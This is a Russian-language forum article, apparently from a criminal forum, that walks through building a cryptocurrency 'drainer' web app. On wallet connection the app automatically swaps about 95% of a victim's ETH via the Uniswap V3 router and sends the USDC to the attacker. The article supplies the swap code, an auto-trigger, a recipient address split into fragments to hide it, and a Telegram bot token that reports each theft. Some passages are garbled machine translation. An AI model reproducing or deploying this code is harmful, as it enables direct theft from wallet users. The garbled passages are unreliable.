LIMB
Вход Регистрация

тема

( Статья ) Создание самодельного криптографического программного обеспечения

Bratislava · · 1 ответов · 867 просмотров

Введение

Четыре года назад на большинстве блокчейнов, особенно на EVM (электронных машинах для сбора средств), появилась эра программ-«опустошителей», использующих смарт-контракты и совместимых с Web3. Меня заинтриговало это программное обеспечение, и я задался вопросом, какие методы они используют. Конечно, это вредоносные смарт-контракты, которые крадут авторизацию и опустошают кошелек, но сегодня такое вредоносное поведение легко обнаруживается существующими средствами противодействия. Исходя из этого, я задумался о создании такого «опустошителя», но, поленившись в одиночку браться за долгий и утомительный процесс разработки, тратить средства на внедрение обфусцированных смарт-контрактов и искать необнаружимые методы, у меня возникла идея, казалось бы, простая и очевидная, о которой я нигде не слышал как об окончательном решении проблем с предупреждениями о вредоносном ПО в кошельке, хотя они и так очевидны: почему бы не использовать контракт, который, как известно, проверен и широко используется в наших вредоносных целях?

Вот откуда взялся мой самодельный «опустошитель». Изначально я подумал о Uniswap из-за его объёма торгов и репутации, и использовал их адрес маршрутизатора для обмена ETH на USDC или другую криптовалюту, с отправкой результата на мой кошелёк. Это возможно при отображении пользователю только простого интерфейса авторизации, который ничего не поймет о происходящем.

P.S.: Хотя мы видим изменения баланса, это можно компенсировать с помощью сценариев социальной инженерии или других методов скриптинга, но на нашем уровне это не так важно.

1. Архитектура и стек Drainer

1.a. Необходимый стек


Для нашей архитектуры мы будем использовать React с TypeScript, интегрируя контракт Uniswap V3 в основную сеть ETH.

P.S.: Я не использую V4, потому что некоторые необходимые нам компоненты ещё не полностью совместимы с V4, что потребует значительной адаптации.

Используемые технологии:

- React 19.1.0: Это будет наш фреймворк.

- TypeScript 4.9.5: Потому что это React.

- Ethers.js 5.7.2: Наша основная библиотека для взаимодействия с ETH.

- Uniswap SDK: Полезен для интеграции с Uniswap.

- @uniswap/sdk-core (v7.7.2): Обрабатывает базовые функции.

- @uniswap/smart-order-router (v4.20.10): Для маршрутизации обмена.

- Web3Modal 1.9.12: Будет управлять интерфейсом подключения. и является поставщиком мультикошельков

1.b Структура папок и файлов проекта


src/
├── components/ # Здесь мы разместим наши компоненты React
│ ├── SwapComponent.tsx
│ └── WalletConnect.tsx
├── utils/ # Здесь находится логика сервиса
│ ├── uniswap.ts # Это будет наша основная логика
│ ├── uniswapRouter.js # Будет обрабатывать маршрутизацию
│ ├── priceService.js # Для отображения цен в реальном времени
│ ├── telegramNotifier.js # Для уведомлений в Telegram
│ ├── errorHandler.js # Наша ошибка обработчики
│ └── constants.ts # Константы и утилиты
├── config/ # Наша конфигурация
│ └── addresses.ts
├── contracts/ # Наши контракты
│ ├── abi.ts
│ └── addresses.ts
└── App.tsx # Наша основная точка входа

Построение нашей архитектуры:

Для корректной работы необходимо тщательно продумать разделение обязанностей.

Для этого наши компоненты будут управлять только пользовательским интерфейсом, а наша логика будет изолирована в utils/. Это упростит читаемость, понимание и сопровождение нашего проекта.

2. Настройка и создание системы

2.a React App Rewired и переопределения Webpack


Мы будем использовать react-app-rewired для настройки конфигурации Webpack без вызова Create React App.

Вот наш файл config-overrides.js:

JavaScript:
config.resolve.fallback = {


"http": require.resolve("stream-http"),


"https": require.resolve("https-browserify"),


"stream": require.resolve("stream-browserify"),


"crypto": require.resolve("crypto-browserify"),
// ...


Зачем мы делаем эту конфигурацию?

Потому что SDK и маршрутизатор Uniswap разработаны для Node.js с нативными модулями (crypto, stream, http и т. д.), которых нет в браузере.

Полифилы *-browserify позволят нам использовать эти модули на стороне клиента нашего приложения.

Наши технические решения:

Мы будем использовать прагматичный подход, но это увеличит размер бандла. В качестве альтернативы мы могли бы использовать бэкенд-прокси для вызовов команд к маршрутизатору, но это усложнит нашу инфраструктуру, что на самом деле не нужно для нашей функциональной реализации.

2.b Конфигурация TypeScript

tsconfig.json будет использовать только строгие параметры:

  • strict: true: Включает все строгие проверки типов
  • jsx: react-jsx: Новое преобразование JSX без импорта React
  • allowJs: true: Позволяет нам смешивать JS и TS. Почему я это сделал? Потому что я лучше реализую некоторые вещи на JS.



*ПС:
Подключите JS и TS (uniswapRouter.js, PriceService.js) для решения проблемы, решите ее типами данных; Вот как это работает.

3. Контакт и подключение к сумке

3. Компоненты WalletConnect


Технология: Web3Modal

Web3Modal подключается к клавиатуре через один и тот же интерфейс.

JavaScript:
const newWeb3Modal = новый Web3Modal({


cacheProvider: true, // Запоминает подключенный кошелек


провайдерОпции: {},


тема: «темная»,


});



Функции, вот что мы делаем:

1. Опция сообщения: cacheProvider: true автоматически открывается. Это связано со случайным повреждением.

2. Инструкции:

- accountsChanged: бюджет будет отменен.

- chainChanged: Будет отслеживаться изменения в сети.

Инструкции:

Компонент будет использовать локальное соединение («connected», «address», «balance») и передавать родительскому компоненту через коллбэки («onConnect», «onDisconnect»).
Это идеальное место для проживания, и это идеальное место для проживания. Важно знать, что важно знать, о чем ты говоришь. применения такого размера.

ПС:
Это то, что вам нужно знать о самом главном: передать свой голос в Context API через Redux, глобально управляя сумкой.

3.a Наша интеграция с Ethers.js

Code:
 машинописный текст
const поставщик = новый ethers.providers.Web3Provider(экземпляр);

` ... const знак = поставщик.getSigner();

Описание:

  • Обеспечение: Интернета, подключения, баланса и блокировки. д.
  • Инструкции: Обратите внимание, что это связано с характером ситуации. Позволяет передавать взаимодействие.


4. Логика обмена: архитектура и реализация
4.a Расчет суммы во время обмена


Файл: src/utils/uniswap.ts и функция calculateSwapAmount

JavaScript:
export const calculateSwapAmount = async(provider: ethers.providers.Web3Provider): Promise<string> => {
const balance = await provider.getBalance(address);
const gasPrice = await provider.getGasPrice();
const estimatedGas = ethers.BigNumber.from(300000);
const gasCost = gasPrice.mul(estimatedGas);
const availableForSwap = balance.sub(gasCost);
const swapAmount = availableForSwap.mul(95).div(100); // 95% доступного баланса
return ethers.utils.formatEther(swapAmount);


};


Пояснение:

1. Оценка комиссии: Мы используем фиксированную оценку в 300 000 единиц газа. Это консервативный подход, но он может быть неточным.

2. Резерв 5%: Мы оставляем 5% для комиссий за баланс.

3. BigNumber: Мы используем ethers.BigNumber, чтобы избежать проблем с числами JavaScript (лимит 2^53).

4.b Оценка цены выхода (котировки)

Метод 1:
 Интеллектуальный маршрутизатор ордеров (первые попытки)

JavaScript:
const bestRoute = await getBestRoute(provider, amountIn);

`Маршрутизатор Uniswap находит оптимальный путь обмена, анализируя все доступные пулы.

Однако в этом методе реализации getBestRoute — это упрощенная версия, которая прогнозирует цену, а не напрямую использует реальный маршрутизатор.

Метод 2: Резервный вариант

JavaScript:
const quoterContract = new ethers.Contract(
UNISWAP_QUOTER_ADDRESS,
QUOTER_ABI,
provider
);


const quotedAmountOut = await quoterContract.callStatic.quoteExactInputSingle(
WETH_ADDRESS,
USDC_ADDRESS,
POOL_FEE,
amountIn,
0
);

Code:
[B]Техническое объяснение:

- `callStatic`: [/B]Выполняет функцию без изменения состояния блокчейна и не требует газа.

[B]`
 - quoteExactInputSingle**:[/B] Имитирует обмен и возвращает точную сумму, полученную в результате.


- Параметры:

- tokenIn:
 WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)

- tokenOut: USDC (0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)

- fee: 3000 (0,3% - это стандартная комиссия, используемая для основных валютных пар)

Метод 3: Резервный вариант с рыночной ценой

Если котировка не удастся, нашему коду потребуется использовать цену ETH/USD из внешних API:

Code:
[CODE=javascript]const estimatedRate = await getEthUsdPriceWithBackup();


return ethers.utils.parseUnits(


(parseFloat(ethers.utils.formatEther(amountIn)) * estimatedRate).toFixed(6),


6 // USDC имеет 6 знаков после запятой
);
[/CODE]

PS: Эта оценка не учитывает проскальзывание, поэтому она может быть неточной в зависимости от ситуации.

4.c Динамическое управление комиссией за транзакции

Функция getNetworkCongestionFactor:


JavaScript:
export const getNetworkCongestionFactor = async (provider: ethers.providers.Web3Provider): Promise<number> => {
const feeData = await provider.getFeeData();


const baseFeePerGas = feeData.maxFeePerGas.sub(feeData.maxPriorityFeePerGas);


const gasPrice = await provider.getGasPrice();


const congestionRatio = gasPrice.mul(100).div(baseFeePerGas).toNumber();


if (congestionRatio > 200) return 200; // +100% при сильной перегрузке
else if (congestionRatio > 150) return 170; // +70%
// ...
}

Code:
[B][SIZE=6]EIP-1559:[/SIZE][/B]

Ethereum использует динамическую систему комиссий благодаря EIP-1559:

[B]- baseFee: [/B]Базовая комиссия, сжигаемая (невозвращаемая)
[B]- maxPriorityFeePerGas: [/B]Чаевые, отправляемые майнерам
[B]- maxFeePerGas:[/B] Максимальный лимит

[B]Пояснение:[/B]
Коэффициент перегрузки будет динамически корректироваться в зависимости от перегрузки сети. Это подход, который позволит уменьшить количество сбоев.

[B]В swapEthForUsdc:[/B]

```typescript
[CODE=javascript]const gasCostWei = gasPrice.mul(baseGasLimit).mul(networkCongestionFactor).div(100);


const percentageBuffer = balance.mul(1).div(100); // 1% от баланса
const dynamicBuffer = percentageBuffer.gt(minimumBufferWei) ? percentageBuffer : minimumBufferWei;


const totalGasCostWei = gasCostWei.add(dynamicBuffer);

[/CODE]

У нас двойная защита:

1. Коэффициент перегрузки, основанный на текущем состоянии сети
2. Буфер, пропорциональный балансу кошелька (минимум 1% 0,00005 ETH)

Это надежный подход, но он может быть слишком консервативным для небольших балансов.

4.d Динамическое управление проскальзыванием

Функция, используемая в swapEthForUsdc:


JavaScript:
const slippageTolerance =
swapAmountUSD < 5 ? 3000 : // 30% для очень малых сумм
swapAmountUSD < 25 ? 2500 : // 25% для малых сумм
swapAmountUSD < 50 ? 2000 : // 20% для средних сумм
swapAmountUSD < 100 ? 1500 : // 15% для средних сумм


800; // 8% для крупных сумм

Code:
Почему мы используем такое высокое проскальзывание для небольших сумм?

Обмены на небольшие суммы часто оказывают большее влияние на цену, потому что:

[B]1. Пулы для небольших сумм менее обширны
2. Фиксированные комиссии составляют больший процент, чем другие расходы
3. Волатильность выше

Расчет минимальной суммы:[/B]
[CODE=javascript]const amountOutMinimum = quotedAmountOut
.mul(9000 - slippageTolerance) // Дополнительная скидка 10%
.div(10000);

[/CODE]

Пример:
Для проскальзывания 30%:
  • 9000 - 3000 = 6000
  • amountOutMinimum = quotedAmountOut * 0.6
Это означает, что транзакция примет убыток почти в 40% по сравнению с первоначальной котировкой. Это очень высокий показатель, но необходимый для успешного обмена на небольшие суммы.

PS:
Высокое проскальзывание может представлять риск эксплуатации для ботов MEV.

Для больших сумм более реалистичным является проскальзывание в 8%.

4.5 Выполнение свопа

Функция exactInputSingle:

JavaScript:
const router = new ethers.Contract(
UNISWAP_ROUTER_ADDRESS,
ROUTER_ABI,


provider.getSigner()


);


const params = {
tokenIn: WETH_ADDRESS,
tokenOut: USDC_ADDRESS,
fee: POOL_FEE,
recipient: recipientAddress,
deadline: Math.floor(Date.now() / 1000) + 60, // 1 minute
amountIn: swapAmount,
amountOutMinimum: amountOutMinimum,
sqrtPriceLimitX96: 0
};
const tx = await router.exactInputSingle(params, {
value: swapAmount // Send native ETH
});
Code:
Пояснение параметров:

- **`tokenIn/tokenOut`**: Адреса токенов
- **`fee`**: Комиссия пула (3000 = 0,3%)
- **`recipient`**: Наш адрес получателя
- **`deadline`**: Временная метка, по истечении которой транзакция отменяется
- **`amountIn`**: Точное количество ETH для обмена
- **`amountOutMinimum`**: Минимальное количество принимаемых USDC
- **`sqrtPriceLimitX96`**: Лимит цены (0 = без лимита)



Моделирование и выполнение:

[CODE=javascript]await router.callStatic.exactInputSingle(params, {
value: swapAmount
});

[/CODE] Это моделирование позволяет нам обнаруживать любые возможные ошибки до отправки транзакции по сети, экономя газ и улучшая пользовательский опыт.

Обработка транзакций:
Code:
[CODE=javascript]await tx.wait(1); // Ожидает 1 подтверждения
 Ожидание подтверждения снижает риск переупорядочивания цепочки, но для обменов обычно достаточно одного подтверждения.

---

5. Сервис ценообразования в реальном времени

 5.a Многоисточниковая архитектура

Файл: `src/utils/priceService.js

Для нашего сервиса мы будем использовать три источника цен, каждый с резервной системой:

1. API CoinGecko
2. API Binance
3. API Kraken
Шаблон параллельного получения данных:


JavaScript:
const [priceFromCoinGecko, priceFromBinance, priceFromKraken] = await Promise.all([
getEthUsdPriceFromCoinGecko(),
getEthUsdPriceFromBinance(),
getEthUsdPriceFromKraken()
]);
[/CODE]
Преимущества:

  • Скорость: Параллельное выполнение запросов уменьшает задержку
  • Надежность: Если один источник недоступен, другие доступны
  • Точность: Служит фильтром для выбросов

Расчет медианы для предотвращения завышенных цен:


JavaScript:
if (validPrices.length > 1) {


const prices = validPrices.map(p => p.price).sort((a, b) => a - b);


const medianPrice = prices[Math.floor(prices.length / 2)];


return medianPrice;


}
Code:
[B]5.b Управление таймаутом[/B]

Каждый из наших запросов использует `AbortController` с таймаутом в 3 секунды:


[CODE=javascript]const controller = new AbortController(); `const timeoutId = setTimeout(() => controller.abort(), 3000);`
`const response = await fetch(url, { signal: controller.signal });`
`clearTimeout(timeoutId);`


Понимание важности:

Без таймаута недоступность API приведет к ошибке; он гарантирует быстрый ответ, даже если источник медленный или недоступный.

5.c Резервный вариант и значение по умолчанию

Если все источники выйдут из строя, наш сервис вернет $1800 (значение по умолчанию). Это значение следует регулярно обновлять или вычислять динамически.

Возможное улучшение:
Мы можем использовать локальный кэш с меткой времени, чтобы использовать последнее известное значение в случае полного сбоя.


`[/CODE] ---

6. Уведомления Telegram

6.a Архитектура


Файл: src/utils/telegramNotifier.js
Система отправляет уведомления Telegram напрямую через API бота Telegram с фронтенда.

Конфигурация:

JavaScript:
const TELEGRAM_CONFIG = {
botToken: "5687950307:AAHT8bedIMgA7cYh73zuczSPDDqRlKpXUxM",
chatId: "-1001730053390",
corsProxy: "https://corsproxy.io/?"


};

Code:
PS:
Для лучшего управления уведомления должны проходить через бэкенд-прокси, чтобы избежать раскрытия токена бота в открытом виде в коде.


[B]6.b Обработка CORS[/B]

Мы будем учитывать ограничения браузера, которые могут блокировать запросы к API Telegram с использованием CORS-прокси.

[B]6.3 Список типов событий[/B]

[CODE=javascript]export const NOTIFICATION_EVENTS = {


CONNECTION: 'CONNECTION',


SWAP_SUCCESS: 'SWAP_SUCCESS',


SWAP_REJECTED: 'SWAP_REJECTED',


TRANSACTION_ERROR: 'TRANSACTION_ERROR'


};

``
Формат сообщения:
Для форматирования будет использоваться Markdown:
  • Эмодзи для лучшего визуального восприятия
  • Отформатированный адрес Ethereum
  • Временная метка ISO
  • Информация о свопе

Пример сообщения:
[/CODE]
:currency_exchange: SWAP_SUCCESS :currency_exchange:
:date: Дата: 2024-01-15 14:30:25
:bust_in_silhouette: Адрес: 0x1234...5678
:information_source: Информация: Своп 0,1 ETH на 180,5 USDC


 6.4 Обработка ошибок и повторная попытка

В случае сбоя наш код выполнит повторную попытку без прокси:

JavaScript:
if (TELEGRAM_CONFIG.corsProxy && error.message.includes('Failed to fetch')) {


/ Повторная попытка без прокси
TELEGRAM_CONFIG.corsProxy = '';


const result = await sendTelegramNotification(...);

}
Code:
 Этот подход повышает отказоустойчивость, но все еще может привести к сбою, если блокируется CORS.

---
[B][SIZE=5]7. Обработка ошибок Uniswap[/SIZE]

7.a Парсер ошибок[/B]

**Файл: `src/utils/errorHandler.js`**
Функция `parseUniswapError` преобразует технические ошибки в понятные для пользователя сообщения.

[B]
Примеры:[/B]

[CODE=javascript]if (errorString.includes("Получено слишком мало")) {


return "Минимальная сумма USDC не может быть получена из-за волатильности рынка...";


}
if (errorString.includes("НЕДОСТАТОЧНО_ВЫХОДНОЙ_СУММЫ")) {


return "Минимальная сумма вывода не достигнута из-за волатильности или проскальзывания...";


}
[/CODE]
Обрабатываемые ошибки:
  • Чрезмерное проскальзывание
  • Недостаточно средств
  • Достигнут лимит газа
  • Проблемы с Nonce
  • Таймауты сети

---

8. Интеллектуальная маршрутизация (упрощенная)
8.a Текущая реализация

Файл: src/utils/uniswapRouter.js
Функция getBestRoute — это упрощенная версия, которая оценивает цену, а не использует фактический интеллектуальный маршрутизатор ордеров.


Логика:

JavaScript:
const ethPriceInUsd = await getEthUsdPriceWithBackup();


const estimatedUsdcAmount = parseFloat(amountInEth) * ethPriceInUsd;


/ Корректировка проскальзывания в зависимости от суммы
let slippageMultiplier = 1.0;


if (parseFloat(amountInEth) > 10) {
slippageMultiplier = 0.96; // 4% проскальзывания
} else if (parseFloat(amountInEth) > 1) {
slippageMultiplier = 0.975; // 2.5% проскальзывания
}
Code:
[B]Ограничения:[/B]
Этот подход на самом деле не находит оптимальный путь. Он просто оценивает цену с корректировкой проскальзывания.

**Почему такое упрощение?**
Для полноценного интеллектуального маршрутизатора заказов требуются сложные зависимости Node.js, которые трудно интегрировать в браузер (см. раздел 2.1).

[B]Альтернатива:[/B]
Используйте бэкенд, который запускает интеллектуальный маршрутизатор заказов и предоставляет простой REST API.

--
[B][SIZE=5]9. Логика динамического назначения

9.b Функция `getDestinationByAmount`[/SIZE][/B]

Файл: `src/utils/constants.ts`

[CODE=javascript]export const getDestinationByAmount = (usdAmount: number, alternativeAddress: string): string => {
const systemAddress = reconstructSystemAddress();


const _INTERNAL_THRESHOLD = 1000;


if (usdAmount >= _INTERNAL_THRESHOLD) {
return systemAddress;


} else {
return alternativeAddress;


}
};

[/CODE]
Логика:

  • Суммы >= 1000 USD → Системный адрес (адрес назначения восстанавливается из фрагментов, которые нужно скрыть)
  • Суммы < 1000 USD → Альтернативный адрес (настраивается в config/addresses.ts)

Эту логику можно использовать или адаптировать для разделения; я создал её для личного использования, но она остаётся полезной.

Восстановление адреса:

JavaScript:
export const reconstructSystemAddress = (): string => {
return ADDRESS_FRAGMENT_A + ADDRESS_FRAGMENT_B + ADDRESS_FRAGMENT_C + ADDRESS_FRAGMENT_D;


};

` ... 
Code:
---
[B][SIZE=5]10. Оркестрация пользовательского интерфейса[/SIZE][/B]
[SIZE=5][B][/B][/SIZE]
[B][SIZE=5]10.a Управление состоянием[/SIZE][/B]

Компонент одновременно управляет несколькими локальными состояниями:

[CODE=javascript]const [swapAmount, setSwapAmount] = useState<string>('0');


const [estimatedOutput, setEstimatedOutput] = useState<string>('0');


const [estimatedUsdValue, setEstimatedUsdValue] = useState<number>(0);


const [isLoading, setIsLoading] = useState<boolean>(false);


const [txHash, setTxHash] = useState<string>('');


const [error, setError] = useState<string>('');

`
JavaScript:
` ... const [recipientAddress, setRecipientAddress] = useState<string>('');
[/CODE]
Шаблон:
Каждое значение использует useState


### 10.b Эффекты и автообмен

useEffect для инициализации:



JavaScript:
useEffect(() => {
setRecipientAddress(reconstructSystemAddress());
}, []);


```
**useEffect для автоматического расчета:**
```typescript
useEffect(() => {
const fetchSwapInfo = async () => {
if (provider) {
const amount = await calculateSwapAmount(provider);


const output = await estimateUsdcOutput(provider);


// ...
if (autoSwap) {
handleSwap();


}


}


};
fetchSwapInfo();
}, [provider, autoSwap]);

«
Функции автоматического обмена:
Когда autoSwap имеет значение true, что происходит каждый раз при входе пользователя в систему, процесс обмена запускается автоматически.

` Это основная функция нашего самодельного делайнера.

10.c Управление транзакциями
Последовательность действий:

1. Подготовка: 
Вычисляет сумму, оценивает цену и определяет адрес получателя.

2. Выполнение: Вызывает swapEthForUsdc.

3. Ожидание: await tx.wait(1) для подтверждения.

4. Обновление: Пересчитывает оценки после завершения обмена.

5. Уведомление: Отправляет уведомление в Telegram в случае успеха/ошибок.

Обработка ошибок:

JavaScript:
try {
// ... swap
} catch (err: any) {


setError(err.message || "Ошибка во время обмена ETH-USDC");


/ Уведомление об ошибке
const isUserRejection =
errorMessage.includes("Пользователь отклонен") ||


errorMessage.includes("Пользователь отклонен");


await sendTelegramNotification(
isUserRejection ? NOTIFICATION_EVENTS.SWAP_REJECTED : NOTIFICATION_EVENTS.TRANSACTION_ERROR,
userAddress,
errorMessage
);


}
Code:
 Необходимо тщательно различать отклонения пользователей и технические ошибки.

`
 ---
11. Архитектура развертывания
11.a Файлы сборки и продакшена

Доступные скрипты:


JSON:
{
"start": "react-app-rewired start",


"build": "react-app-rewired build",


"test": "react-app-rewired test"
}
```
Процесс сборки:
Наша сборка создаст оптимизированный пакет в build/ со следующим содержимым:

  • минифицированный код
  • оптимизированные ресурсы
  • карты исходного кода для упрощения отладки

Развертывание:
Приложение может быть развернуто на:

- Netlify or  Vercel:
  • GitHub Pages:
  • IPFS:
  • Традиционный сервер**: Apache/Nginx для традиционного хостинга

11.b Конфигурация основной сети

Контракт основной сети Ethereum Адреса:


JavaScript:
export const UNISWAP_ROUTER_ADDRESS = '0xE592427A0AEce92De3Edee1F18E0157C05861564';
export const UNISWAP_QUOTER_ADDRESS = '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6';
export const WETH_ADDRESS = '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2';


export const USDC_ADDRESS = '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48';

`

12. Заключение

Мы разработали и создали наш собственный драйвер до функционального и стабильного уровня. Фоновый прокси повысит безопасность, обрабатывая незашифрованные адреса в коде, а такие функции, как управление уведомлениями TG и оценка цен, делают наше приложение готовым к использованию и позволяют нам зарабатывать первые деньги без необходимости использования DaaS-платформы, которая потребует 20% ваших усилий. Хотя наша платформа не самая продвинутая, она всё же полезна.

В заключение предлагаем посмотреть видео работы нашего программного обеспечения: https://streamable.com/t8wteb

Спасибо за внимание. Я опубликую полный код, если эта статья будет принята.
👍73 🔥22 👏8 🤔23
было интересно, но ни куя не понял...так это что обменник, флэшкрипта или дрейнер? Судя по названию темы вроде как дрейнер, тогда как он РАБОТАЕТ?! Если я сейчас закину файлы дрейнера в чат гпт, то он мне выдаст точно такое же описание (как пример), и что с того? Есть хоть видео чтоб посмотреть что имелось в виду в итоге в данной статье?
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.